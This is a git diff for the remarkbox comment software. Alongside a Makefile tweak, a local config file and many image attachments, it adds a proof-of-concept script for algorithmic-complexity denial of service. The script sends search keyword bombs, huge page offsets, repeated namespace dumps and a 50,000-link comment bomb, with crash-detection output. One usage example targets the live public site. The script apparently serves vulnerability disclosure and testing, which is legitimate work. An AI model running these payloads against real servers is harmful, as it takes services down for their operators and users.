diff --git a/Makefile b/Makefile index 15883e9..86fb2aa 100644 --- a/Makefile +++ b/Makefile @@ -180,7 +180,8 @@ twine-venv: $(TWINE_VENV)/bin/twine twine-upload: twine-venv @echo "Building and uploading to PyPI..." python3 setup.py sdist bdist_wheel - $(TWINE) upload dist/* + $(TWINE) check dist/* + $(TWINE) upload --non-interactive dist/* # ----------------------------------------------------------------------------- # Cleanup Target diff --git a/docs/poc-cwe407.py b/docs/poc-cwe407.py new file mode 100755 index 0000000..854666e --- /dev/null +++ b/docs/poc-cwe407.py @@ -0,0 +1,314 @@ +#!/usr/bin/env python3 +""" +CWE-407 Proof-of-Concept — Algorithmic Complexity DoS +Target: remarkbox + +Usage: + python3 poc-cwe407.py + +Tests: + search /search keyword bomb (unauthenticated) + page ?page= offset bomb (unauthenticated) + dump /ns/{ns}/dump.json full-namespace dump (unauthenticated) + comment HTML bomb via POST /new (authenticated — provide session cookie) + all run all unauthenticated tests + +AUTHORIZED USE ONLY. Run against your own dev instance. + +Examples: + python3 poc-cwe407.py http://localhost:6543 search + python3 poc-cwe407.py https://remarkbox.com search + python3 poc-cwe407.py http://localhost:6543 page + python3 poc-cwe407.py http://localhost:6543 dump + python3 poc-cwe407.py http://localhost:6543 all +""" + +import sys +import time +import statistics +import urllib.request +import urllib.parse +import urllib.error + +# --------------------------------------------------------------------------- +# helpers +# --------------------------------------------------------------------------- + +def get(url, headers=None, timeout=120): + req = urllib.request.Request(url, headers=headers or {}) + t0 = time.monotonic() + try: + with urllib.request.urlopen(req, timeout=timeout) as resp: + body = resp.read() + elapsed = time.monotonic() - t0 + return resp.status, elapsed, len(body) + except urllib.error.HTTPError as e: + elapsed = time.monotonic() - t0 + body = e.read() + return e.code, elapsed, len(body) + except Exception as e: + elapsed = time.monotonic() - t0 + return 0, elapsed, 0 + + +def post(url, data, headers=None, timeout=120): + if isinstance(data, dict): + data = urllib.parse.urlencode(data).encode() + h = {"Content-Type": "application/x-www-form-urlencoded"} + if headers: + h.update(headers) + req = urllib.request.Request(url, data=data, headers=h, method="POST") + t0 = time.monotonic() + try: + with urllib.request.urlopen(req, timeout=timeout) as resp: + body = resp.read() + elapsed = time.monotonic() - t0 + return resp.status, elapsed, len(body) + except urllib.error.HTTPError as e: + elapsed = time.monotonic() - t0 + body = e.read() + return e.code, elapsed, len(body) + except Exception as e: + elapsed = time.monotonic() - t0 + return 0, elapsed, 0 + + +def row(label, status, elapsed, body_len): + flag = " <-- SLOW" if elapsed > 10 else "" + print(f" {label:<45s} HTTP {status} {elapsed:7.2f}s {body_len:>9d} bytes{flag}") + + +def header(title): + print() + print("=" * 75) + print(f" {title}") + print("=" * 75) + print(f" {'payload':<45s} {'status':<9s} {'time':>7s} {'body':>14s}") + print("-" * 75) + + +# --------------------------------------------------------------------------- +# PoC 1: /search keyword bomb — CVE candidate +# --------------------------------------------------------------------------- +# +# Root cause: remarkbox/views/list_nodes.py:151 +# get_root_nodes_by_keywords(dbsession, keywords.split(" "), request.namespace) +# +# Per keyword: SELECT * FROM node WHERE data ILIKE '%keyword%' (full table scan) +# Results accumulate in a Python list with no LIMIT. +# Sort at end: O(n log n) over entire accumulated result set. +# +# Complexity: O(k * n) queries + O(k*n log k*n) sort +# k = keyword count (user-controlled, no cap) +# n = matching nodes per keyword (unbounded) +# +# Attack: send k=500 keywords consisting of common characters +# each fires a full table scan; worker CPU saturates. + +def poc_search(base, namespace=None): + header("PoC 1: /search keyword bomb [UNAUTHENTICATED]") + + if namespace: + url = base.rstrip("/") + f"/ns/{namespace}/search" + else: + # remarkbox also exposes /search at top level + url = base.rstrip("/") + "/search" + + timings = [] + for n in [1, 5, 10, 25, 50, 100, 200, 500]: + # "the" is 3 chars, matches most English comment bodies + payload = " ".join(["the"] * n) + qs = urllib.parse.urlencode({"keywords": payload}) + status, elapsed, body_len = get(f"{url}?{qs}") + timings.append((n, elapsed)) + row(f"{n:>4d}x 'the'", status, elapsed, body_len) + + if len(timings) >= 2: + baseline = timings[0][1] + worst = timings[-1][1] + ratio = worst / baseline if baseline > 0 else float("inf") + print(f"\n baseline (1 keyword): {baseline:.2f}s") + print(f" worst (500 keywords): {worst:.2f}s") + print(f" ratio: {ratio:.1f}x {'[CONFIRMED CWE-407]' if ratio > 5 else '[marginal]'}") + + # single-shot crash attempt + print() + print(" Crash attempt: 2000-keyword query") + payload = " ".join(["a"] * 2000) + qs = urllib.parse.urlencode({"keywords": payload}) + status, elapsed, body_len = get(f"{url}?{qs}", timeout=180) + row("2000x 'a'", status, elapsed, body_len) + if status == 0: + print(" [CRASH] No response / connection reset — worker likely killed by RSS limit") + elif status == 502 or status == 503: + print(" [CRASH] 5xx — uWSGI worker restarted or queue full") + elif elapsed > 30: + print(" [CRASH] >30s response — worker thread fully saturated") + + +# --------------------------------------------------------------------------- +# PoC 2: ?page= offset DoS — CVE candidate +# --------------------------------------------------------------------------- +# +# Root cause: remarkbox/__init__.py:512 +# page_number = int(request.params.get("page", 1)) # no upper bound +# page_offset = (page_number - 1) * page_size # page_size default 100 +# +# Query issued: SELECT ... LIMIT 100 OFFSET +# SQLite (and most RDBMS) must skip OFFSET rows before returning LIMIT rows. +# OFFSET 1e10 = full table scan discarding 10 billion rows. +# +# Complexity: O(offset) per request +# +# Attack: single request with page=9999999 serialises DB for seconds. + +def poc_page(base, namespace=None): + header("PoC 2: ?page= offset bomb [UNAUTHENTICATED]") + + if namespace: + url = base.rstrip("/") + f"/ns/{namespace}/nodes" + else: + ns = urllib.parse.urlparse(base).hostname or "local" + url = base.rstrip("/") + f"/ns/{ns}/nodes" + + for page in [1, 10, 100, 1_000, 10_000, 100_000, 1_000_000, 10_000_000]: + status, elapsed, body_len = get(f"{url}?page={page}") + row(f"page={page:>12,d} (OFFSET {(page-1)*100:>14,d})", status, elapsed, body_len) + + print() + print(f" PoC URL: {url}?page=9999999") + print(" NOTE: if elapsed grows with page → confirmed OFFSET DoS") + + +# --------------------------------------------------------------------------- +# PoC 3: /ns/{ns}/dump.json — CVE candidate +# --------------------------------------------------------------------------- +# +# Root cause: remarkbox/models/namespace.py:427 +# dict_dump property iterates self.roots → for each root iterates root.children +# No pagination, no limit. Full namespace serialized to JSON in one shot. +# Each child access may trigger lazy-load ORM queries. +# +# Complexity: O(r * n) + JSON serialization +# r = root nodes, n = child nodes per root +# +# Attack: attacker creates namespace with many nodes, then hammers dump endpoint. +# Even without attack setup, large existing namespaces expose this. + +def poc_dump(base, namespace=None): + header("PoC 3: /ns/{ns}/dump.json full dump [UNAUTHENTICATED]") + + if namespace is None: + namespace = urllib.parse.urlparse(base).hostname or "local" + + url = base.rstrip("/") + f"/ns/{namespace}/dump.json" + + times = [] + for i in range(5): + status, elapsed, body_len = get(url) + times.append(elapsed) + row(f"request #{i+1}", status, elapsed, body_len) + + print(f"\n 5-run stats: median={statistics.median(times):.2f}s max={max(times):.2f}s min={min(times):.2f}s") + print(f" PoC URL: {url}") + print(" Impact scales linearly with node count in namespace.") + + +# --------------------------------------------------------------------------- +# PoC 4: HTML comment bomb — CVE candidate (authenticated) +# --------------------------------------------------------------------------- +# +# Root cause: remarkbox/lib/sanitize_html.py:131-139 +# conditional_tag_filter: nested find_all() per tag type +# protect_links: find_all("a") — O(n) per link count +# render.py: html5lib parser slow on deeply nested/wide HTML +# +# Complexity: O(m * n) where m = tag type count, n = total DOM nodes +# +# Attack: post comment with 50,000 tags. +# sanitize_html must find_all("a") → 50,000 iterations. +# html5lib must parse malformed/deep HTML tree. +# +# Requires: valid session cookie (authenticated user) + +def poc_comment_bomb(base, namespace, session_cookie, node_id): + header("PoC 4: HTML comment bomb [AUTHENTICATED — session cookie required]") + + if not session_cookie: + print(" SKIP: no session cookie provided") + print(" To run: python3 poc-cwe407.py comment ") + return + + url = base.rstrip("/") + f"/embed/ns/{namespace}/{node_id}" + + # Build HTML with 50,000 anchor tags + # html5lib + BeautifulSoup find_all("a") + protect_links() = O(50000) + n_links = 50_000 + link_block = 'x' * n_links + comment_body = f"timing test {link_block}" + + print(f" Posting comment with {n_links:,} anchor tags to {url}") + print(f" Expected server-side: html5lib parse + find_all('a') = O({n_links:,}) iterations") + print() + + status, elapsed, body_len = post( + url, + {"data": comment_body, "csrf_token": ""}, # csrf may reject — timing still relevant + headers={"Cookie": session_cookie}, + ) + row(f"{n_links:,} anchor tags", status, elapsed, body_len) + + if elapsed > 5: + print(" [IMPACT] >5s processing — sanitizer O(n) confirmed") + if status == 0: + print(" [CRASH] Connection reset — worker killed mid-request") + + +# --------------------------------------------------------------------------- +# dispatch +# --------------------------------------------------------------------------- + +def usage(): + print(__doc__) + print("Available tests: search, page, dump, comment, all") + print() + print("Examples:") + print(" python3 poc-cwe407.py http://localhost:6543 search") + print(" python3 poc-cwe407.py http://localhost:6543 page") + print(" python3 poc-cwe407.py http://localhost:6543 dump myNamespace") + print(" python3 poc-cwe407.py http://localhost:6543 comment myNS nodeId 'session=abc123'") + + +if __name__ == "__main__": + if len(sys.argv) < 3: + usage() + sys.exit(1) + + base = sys.argv[1] + test = sys.argv[2] + namespace = sys.argv[3] if len(sys.argv) > 3 else None + + if test == "search": + poc_search(base, namespace) + elif test == "page": + poc_page(base, namespace) + elif test == "dump": + poc_dump(base, namespace) + elif test == "comment": + node_id = sys.argv[4] if len(sys.argv) > 4 else None + cookie = sys.argv[5] if len(sys.argv) > 5 else None + if not namespace or not node_id: + print("Usage: poc-cwe407.py comment [session_cookie]") + sys.exit(1) + poc_comment_bomb(base, namespace, cookie, node_id) + elif test == "all": + poc_search(base, namespace) + poc_page(base, namespace) + poc_dump(base, namespace) + else: + print(f"Unknown test: {test}") + usage() + sys.exit(1) + + print() + print("Done.") diff --git a/foxhop-local.ini b/foxhop-local.ini new file mode 100644 index 0000000..7bbf928 --- /dev/null +++ b/foxhop-local.ini @@ -0,0 +1,71 @@ +[app:main] +use = egg:remarkbox + +pyramid.reload_templates = true +pyramid.debug_authorization = false +pyramid.debug_notfound = false +pyramid.debug_routematch = false +pyramid.default_locale_name = en +pyramid.includes = + pyramid_tm + +sqlalchemy.url = sqlite:///%(here)s/foxhop.net.sqlite + +session.hashalg = sha512 +session.secret = local-foxhop-test +session.timeout = 31104000 +session.max_age = 31104000 +session.reissue_time = 15552000 +session.secure = False +session.samesite = lax + +app.avatar.size = 36 +app.email.relay = localhost +app.email.sender = no-reply@foxhop.net +app.theme = chaostheory +app.stand_alone_mode = enabled +app.namespace = foxhop.net + +[server:main] +use = egg:waitress#main +host = 0.0.0.0 +port = 6004 + +[alembic] +script_location = remarkbox:scripts/alembic +sqlalchemy.url = sqlite:///%(here)s/foxhop.net.sqlite + +[loggers] +keys = root, remarkbox, sqlalchemy + +[handlers] +keys = console + +[formatters] +keys = generic + +[logger_root] +level = INFO +handlers = console + +[logger_remarkbox] +level = DEBUG +handlers = +qualname = remarkbox + +[logger_sqlalchemy] +level = WARN +handlers = +qualname = sqlalchemy.engine + +[handler_console] +class = StreamHandler +args = (sys.stderr,) +level = NOTSET +formatter = generic + +[formatter_generic] +format = %(asctime)s %(levelname)-5.5s [%(name)s][%(threadName)s] %(message)s + +[pshell] +m = remarkbox.models diff --git a/remarkbox/static/attachment/2014-05-29-112153.jpg b/remarkbox/static/attachment/2014-05-29-112153.jpg new file mode 100644 index 0000000..d11c4df Binary files /dev/null and b/remarkbox/static/attachment/2014-05-29-112153.jpg differ diff --git a/remarkbox/static/attachment/2014-05-29-112209.jpg b/remarkbox/static/attachment/2014-05-29-112209.jpg new file mode 100644 index 0000000..9b8a497 Binary files /dev/null and b/remarkbox/static/attachment/2014-05-29-112209.jpg differ diff --git a/remarkbox/static/attachment/20150430_100016.jpg b/remarkbox/static/attachment/20150430_100016.jpg new file mode 100644 index 0000000..ca541d8 Binary files /dev/null and b/remarkbox/static/attachment/20150430_100016.jpg differ diff --git a/remarkbox/static/attachment/accout.png b/remarkbox/static/attachment/accout.png new file mode 100644 index 0000000..6b25736 Binary files /dev/null and b/remarkbox/static/attachment/accout.png differ diff --git a/remarkbox/static/attachment/beatle.jpeg b/remarkbox/static/attachment/beatle.jpeg new file mode 100644 index 0000000..1da9627 Binary files /dev/null and b/remarkbox/static/attachment/beatle.jpeg differ diff --git a/remarkbox/static/attachment/bridge.jpg b/remarkbox/static/attachment/bridge.jpg new file mode 100644 index 0000000..4dcdf0a Binary files /dev/null and b/remarkbox/static/attachment/bridge.jpg differ diff --git a/remarkbox/static/attachment/capture-the-flag-7th-place.png b/remarkbox/static/attachment/capture-the-flag-7th-place.png new file mode 100644 index 0000000..1a2590c Binary files /dev/null and b/remarkbox/static/attachment/capture-the-flag-7th-place.png differ diff --git a/remarkbox/static/attachment/clock.jpg b/remarkbox/static/attachment/clock.jpg new file mode 100644 index 0000000..6c5a48d Binary files /dev/null and b/remarkbox/static/attachment/clock.jpg differ diff --git a/remarkbox/static/attachment/clock.png b/remarkbox/static/attachment/clock.png new file mode 100644 index 0000000..e82dc2a Binary files /dev/null and b/remarkbox/static/attachment/clock.png differ diff --git a/remarkbox/static/attachment/eventlog.png b/remarkbox/static/attachment/eventlog.png new file mode 100644 index 0000000..016f3c6 Binary files /dev/null and b/remarkbox/static/attachment/eventlog.png differ diff --git a/remarkbox/static/attachment/ext-IMGA0070-bb367e69.jpg b/remarkbox/static/attachment/ext-IMGA0070-bb367e69.jpg new file mode 100644 index 0000000..db3fe57 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0070-bb367e69.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0071-7bb75246.jpg b/remarkbox/static/attachment/ext-IMGA0071-7bb75246.jpg new file mode 100644 index 0000000..321de20 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0071-7bb75246.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0072-3e739f8e.jpg b/remarkbox/static/attachment/ext-IMGA0072-3e739f8e.jpg new file mode 100644 index 0000000..d75f0f8 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0072-3e739f8e.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0074-737e5d48.jpg b/remarkbox/static/attachment/ext-IMGA0074-737e5d48.jpg new file mode 100644 index 0000000..285e9b8 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0074-737e5d48.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0075-e7f8df99.jpg b/remarkbox/static/attachment/ext-IMGA0075-e7f8df99.jpg new file mode 100644 index 0000000..c236ea7 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0075-e7f8df99.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0076-15b4e588.jpg b/remarkbox/static/attachment/ext-IMGA0076-15b4e588.jpg new file mode 100644 index 0000000..068e2b5 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0076-15b4e588.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0078-20c8db17.jpg b/remarkbox/static/attachment/ext-IMGA0078-20c8db17.jpg new file mode 100644 index 0000000..fe30554 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0078-20c8db17.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0079-b2bdb4bd.jpg b/remarkbox/static/attachment/ext-IMGA0079-b2bdb4bd.jpg new file mode 100644 index 0000000..ea09da4 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0079-b2bdb4bd.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0080-2f93217c.jpg b/remarkbox/static/attachment/ext-IMGA0080-2f93217c.jpg new file mode 100644 index 0000000..f28584c Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0080-2f93217c.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0081-8a09aa85.jpg b/remarkbox/static/attachment/ext-IMGA0081-8a09aa85.jpg new file mode 100644 index 0000000..c0fa251 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0081-8a09aa85.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0082-58cd7f8f.jpg b/remarkbox/static/attachment/ext-IMGA0082-58cd7f8f.jpg new file mode 100644 index 0000000..c5a62d0 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0082-58cd7f8f.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0083-29e119ac.jpg b/remarkbox/static/attachment/ext-IMGA0083-29e119ac.jpg new file mode 100644 index 0000000..f8eed1b Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0083-29e119ac.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0084-e3b6363d.jpg b/remarkbox/static/attachment/ext-IMGA0084-e3b6363d.jpg new file mode 100644 index 0000000..435f0db Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0084-e3b6363d.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0085-c72e7ad0.jpg b/remarkbox/static/attachment/ext-IMGA0085-c72e7ad0.jpg new file mode 100644 index 0000000..b7883b2 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0085-c72e7ad0.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0087-45a734c1.jpg b/remarkbox/static/attachment/ext-IMGA0087-45a734c1.jpg new file mode 100644 index 0000000..658b68f Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0087-45a734c1.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0088-c9632b89.jpg b/remarkbox/static/attachment/ext-IMGA0088-c9632b89.jpg new file mode 100644 index 0000000..3e40ca7 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0088-c9632b89.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0089-0954fcf3.jpg b/remarkbox/static/attachment/ext-IMGA0089-0954fcf3.jpg new file mode 100644 index 0000000..b13db45 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0089-0954fcf3.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0090-17e52013.jpg b/remarkbox/static/attachment/ext-IMGA0090-17e52013.jpg new file mode 100644 index 0000000..221a287 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0090-17e52013.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0091-0e379e94.jpg b/remarkbox/static/attachment/ext-IMGA0091-0e379e94.jpg new file mode 100644 index 0000000..5e9fa8c Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0091-0e379e94.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0093-d7fb0f00.jpg b/remarkbox/static/attachment/ext-IMGA0093-d7fb0f00.jpg new file mode 100644 index 0000000..ab77021 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0093-d7fb0f00.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0094-33b7703c.jpg b/remarkbox/static/attachment/ext-IMGA0094-33b7703c.jpg new file mode 100644 index 0000000..69045c1 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0094-33b7703c.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0098-f4cd6477.jpg b/remarkbox/static/attachment/ext-IMGA0098-f4cd6477.jpg new file mode 100644 index 0000000..fabc88c Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0098-f4cd6477.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0099-5c5965de.jpg b/remarkbox/static/attachment/ext-IMGA0099-5c5965de.jpg new file mode 100644 index 0000000..0e8bf4e Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0099-5c5965de.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0100-add77cf5.jpg b/remarkbox/static/attachment/ext-IMGA0100-add77cf5.jpg new file mode 100644 index 0000000..1927518 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0100-add77cf5.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0101-7fb1d7f8.jpg b/remarkbox/static/attachment/ext-IMGA0101-7fb1d7f8.jpg new file mode 100644 index 0000000..814e404 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0101-7fb1d7f8.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0102-957ab023.jpg b/remarkbox/static/attachment/ext-IMGA0102-957ab023.jpg new file mode 100644 index 0000000..b6f1b84 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0102-957ab023.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0103-0cfdcf31.jpg b/remarkbox/static/attachment/ext-IMGA0103-0cfdcf31.jpg new file mode 100644 index 0000000..b8e8c04 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0103-0cfdcf31.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0104-0a7469cf.jpg b/remarkbox/static/attachment/ext-IMGA0104-0a7469cf.jpg new file mode 100644 index 0000000..27d5370 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0104-0a7469cf.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0105-0fc1bbd0.jpg b/remarkbox/static/attachment/ext-IMGA0105-0fc1bbd0.jpg new file mode 100644 index 0000000..1ae6be3 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0105-0fc1bbd0.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0106-db4294a7.jpg b/remarkbox/static/attachment/ext-IMGA0106-db4294a7.jpg new file mode 100644 index 0000000..4b427e5 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0106-db4294a7.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0107-f193c5e5.jpg b/remarkbox/static/attachment/ext-IMGA0107-f193c5e5.jpg new file mode 100644 index 0000000..d4b8de4 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0107-f193c5e5.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0109-bd493a3c.jpg b/remarkbox/static/attachment/ext-IMGA0109-bd493a3c.jpg new file mode 100644 index 0000000..411d73f Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0109-bd493a3c.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0110-a408fbac.jpg b/remarkbox/static/attachment/ext-IMGA0110-a408fbac.jpg new file mode 100644 index 0000000..5c6a792 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0110-a408fbac.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0111-531b3e20.jpg b/remarkbox/static/attachment/ext-IMGA0111-531b3e20.jpg new file mode 100644 index 0000000..d911fe6 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0111-531b3e20.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0112-ccc56d11.jpg b/remarkbox/static/attachment/ext-IMGA0112-ccc56d11.jpg new file mode 100644 index 0000000..afe4d40 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0112-ccc56d11.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0112-e2003373.jpg b/remarkbox/static/attachment/ext-IMGA0112-e2003373.jpg new file mode 100644 index 0000000..afe4d40 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0112-e2003373.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0113-20ebb97b.jpg b/remarkbox/static/attachment/ext-IMGA0113-20ebb97b.jpg new file mode 100644 index 0000000..2835f17 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0113-20ebb97b.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0114-15370d84.jpg b/remarkbox/static/attachment/ext-IMGA0114-15370d84.jpg new file mode 100644 index 0000000..02965a0 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0114-15370d84.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0115-c7422ed1.jpg b/remarkbox/static/attachment/ext-IMGA0115-c7422ed1.jpg new file mode 100644 index 0000000..785894f Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0115-c7422ed1.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0116-36ccd31b.jpg b/remarkbox/static/attachment/ext-IMGA0116-36ccd31b.jpg new file mode 100644 index 0000000..f7e46ed Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0116-36ccd31b.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0117-98f97149.jpg b/remarkbox/static/attachment/ext-IMGA0117-98f97149.jpg new file mode 100644 index 0000000..bb3da9c Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0117-98f97149.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0118-bec8b547.jpg b/remarkbox/static/attachment/ext-IMGA0118-bec8b547.jpg new file mode 100644 index 0000000..6926f1c Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0118-bec8b547.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0119-428875de.jpg b/remarkbox/static/attachment/ext-IMGA0119-428875de.jpg new file mode 100644 index 0000000..de60fd7 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0119-428875de.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0120-9870b23d.jpg b/remarkbox/static/attachment/ext-IMGA0120-9870b23d.jpg new file mode 100644 index 0000000..49722f1 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0120-9870b23d.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0122-86ee16bd.jpg b/remarkbox/static/attachment/ext-IMGA0122-86ee16bd.jpg new file mode 100644 index 0000000..98b28c1 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0122-86ee16bd.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0123-18c898e4.jpg b/remarkbox/static/attachment/ext-IMGA0123-18c898e4.jpg new file mode 100644 index 0000000..c68c427 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0123-18c898e4.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0124-404f959c.jpg b/remarkbox/static/attachment/ext-IMGA0124-404f959c.jpg new file mode 100644 index 0000000..39abea2 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0124-404f959c.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0125-22906c17.jpg b/remarkbox/static/attachment/ext-IMGA0125-22906c17.jpg new file mode 100644 index 0000000..c67d1a2 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0125-22906c17.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0126-3a67a26d.jpg b/remarkbox/static/attachment/ext-IMGA0126-3a67a26d.jpg new file mode 100644 index 0000000..ee6a0dc Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0126-3a67a26d.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0127-79462ed9.jpg b/remarkbox/static/attachment/ext-IMGA0127-79462ed9.jpg new file mode 100644 index 0000000..eefe0e5 Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0127-79462ed9.jpg differ diff --git a/remarkbox/static/attachment/ext-IMGA0128-31c677d3.jpg b/remarkbox/static/attachment/ext-IMGA0128-31c677d3.jpg new file mode 100644 index 0000000..a014cfb Binary files /dev/null and b/remarkbox/static/attachment/ext-IMGA0128-31c677d3.jpg differ diff --git a/remarkbox/static/attachment/ext-Ryularg-f9b9bb9c.png b/remarkbox/static/attachment/ext-Ryularg-f9b9bb9c.png new file mode 100644 index 0000000..ea26a19 Binary files /dev/null and b/remarkbox/static/attachment/ext-Ryularg-f9b9bb9c.png differ diff --git a/remarkbox/static/attachment/ext-bigblue-23962aa4.png b/remarkbox/static/attachment/ext-bigblue-23962aa4.png new file mode 100644 index 0000000..c21b9f1 Binary files /dev/null and b/remarkbox/static/attachment/ext-bigblue-23962aa4.png differ diff --git a/remarkbox/static/attachment/ext-borderlands2880x1800-88542d4c.png b/remarkbox/static/attachment/ext-borderlands2880x1800-88542d4c.png new file mode 100644 index 0000000..6781603 Binary files /dev/null and b/remarkbox/static/attachment/ext-borderlands2880x1800-88542d4c.png differ diff --git a/remarkbox/static/attachment/ext-fallout32-8ec9a67c.png b/remarkbox/static/attachment/ext-fallout32-8ec9a67c.png new file mode 100644 index 0000000..bce7b54 Binary files /dev/null and b/remarkbox/static/attachment/ext-fallout32-8ec9a67c.png differ diff --git a/remarkbox/static/attachment/ext-foxnet-66bf94e5.png b/remarkbox/static/attachment/ext-foxnet-66bf94e5.png new file mode 100644 index 0000000..ec00fbc Binary files /dev/null and b/remarkbox/static/attachment/ext-foxnet-66bf94e5.png differ diff --git a/remarkbox/static/attachment/ff-settings.jpg b/remarkbox/static/attachment/ff-settings.jpg new file mode 100644 index 0000000..48ade1e Binary files /dev/null and b/remarkbox/static/attachment/ff-settings.jpg differ diff --git a/remarkbox/static/attachment/foxhop.png b/remarkbox/static/attachment/foxhop.png new file mode 100644 index 0000000..114ccbe Binary files /dev/null and b/remarkbox/static/attachment/foxhop.png differ diff --git a/remarkbox/static/attachment/foxhopnet.png b/remarkbox/static/attachment/foxhopnet.png new file mode 100644 index 0000000..97fbc4f Binary files /dev/null and b/remarkbox/static/attachment/foxhopnet.png differ diff --git a/remarkbox/static/attachment/garden-profile.jpg b/remarkbox/static/attachment/garden-profile.jpg new file mode 100644 index 0000000..9fa8b4b Binary files /dev/null and b/remarkbox/static/attachment/garden-profile.jpg differ diff --git a/remarkbox/static/attachment/gistheist.png b/remarkbox/static/attachment/gistheist.png new file mode 100644 index 0000000..cae2743 Binary files /dev/null and b/remarkbox/static/attachment/gistheist.png differ diff --git a/remarkbox/static/attachment/head.jpg b/remarkbox/static/attachment/head.jpg new file mode 100644 index 0000000..ccf0907 Binary files /dev/null and b/remarkbox/static/attachment/head.jpg differ diff --git a/remarkbox/static/attachment/hotlink.jpg b/remarkbox/static/attachment/hotlink.jpg new file mode 100644 index 0000000..0c8bbce Binary files /dev/null and b/remarkbox/static/attachment/hotlink.jpg differ diff --git a/remarkbox/static/attachment/image.jpg b/remarkbox/static/attachment/image.jpg new file mode 100644 index 